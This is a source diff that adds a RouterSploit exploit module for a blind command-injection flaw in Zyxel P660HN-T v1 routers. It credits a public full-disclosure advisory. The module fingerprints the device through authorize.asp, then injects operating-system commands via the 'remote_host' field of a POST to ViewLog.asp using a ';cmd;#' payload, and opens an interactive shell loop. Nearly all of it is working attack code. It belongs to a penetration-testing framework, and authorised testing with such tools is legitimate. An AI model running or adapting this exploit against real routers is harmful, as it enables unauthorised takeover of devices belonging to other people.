ZyXEL P660HN-T v1 RCE exploit

routersploit/modules/exploits/zyxel/p660hn-t_v1_rce.py

+from routersploit import (
+    exploits,
+    print_error,
+    print_status,
+    print_success,
+    http_request,
+    mute,
+    validators,
+    shell,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for Zyxel P660HN-T v1 Remote Command Execution vulnerability.
+    If the target is vulnerable it allows to execute commands on operating system level.
+    """
+    __info__ = {
+        'name': 'Zyxel P660HN-T v1 RCE',
+        'description': 'Module exploits Remote Command Execution vulnerability in Zyxel P660HN-T v1 devices.'
+                       'If the target is vulnerable it allows to execute commands on operating system level.',
+        'authors': [
+            'Pedro Ribeiro <pedrib[at]gmail.com>',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'http://seclists.org/fulldisclosure/2017/Jan/40',
+            'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt',
+            'https://blogs.securiteam.com/index.php/archives/2910'
+        ],
+        'devices': [
+            'Zyxel P660HN-T v1',
+        ],
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
+    port = exploits.Option(80, 'Target port')  # default port
+
+    def run(self):
+        if self.check():
+            print_success("Target appears to be vulnerable")
+            print_status("Invoking command loop...")
+            print_status("It is blind command injection - response is not available")
+            shell(self, architecture="mips")
+        else:
+            print_error("Target seems to be not vulnerable")
+
+    def execute(self, cmd):
+        url = "{}:{}/cgi-bin/ViewLog.asp".format(self.target, self.port)
+
+        payload = ";{};#".format(cmd)
+        data = {"remote_submit_Flag": "1",
+                "remote_syslog_Flag": "1",
+                "RemoteSyslogSupported": "1",
+                "LogFlag": "0",
+                "remote_host": payload,
+                "remoteSubmit": "Save"}
+
+        http_request(method="POST", url=url, data=data)
+
+        return ""
+
+    @mute
+    def check(self):
+        url = "{}:{}/cgi-bin/authorize.asp".format(self.target, self.port)
+        response = http_request(method="GET", url=url)
+        if response is None:
+            return False
+
+        if "ZyXEL P-660HN-T1A" in response.text:
+            return True
+
+        return False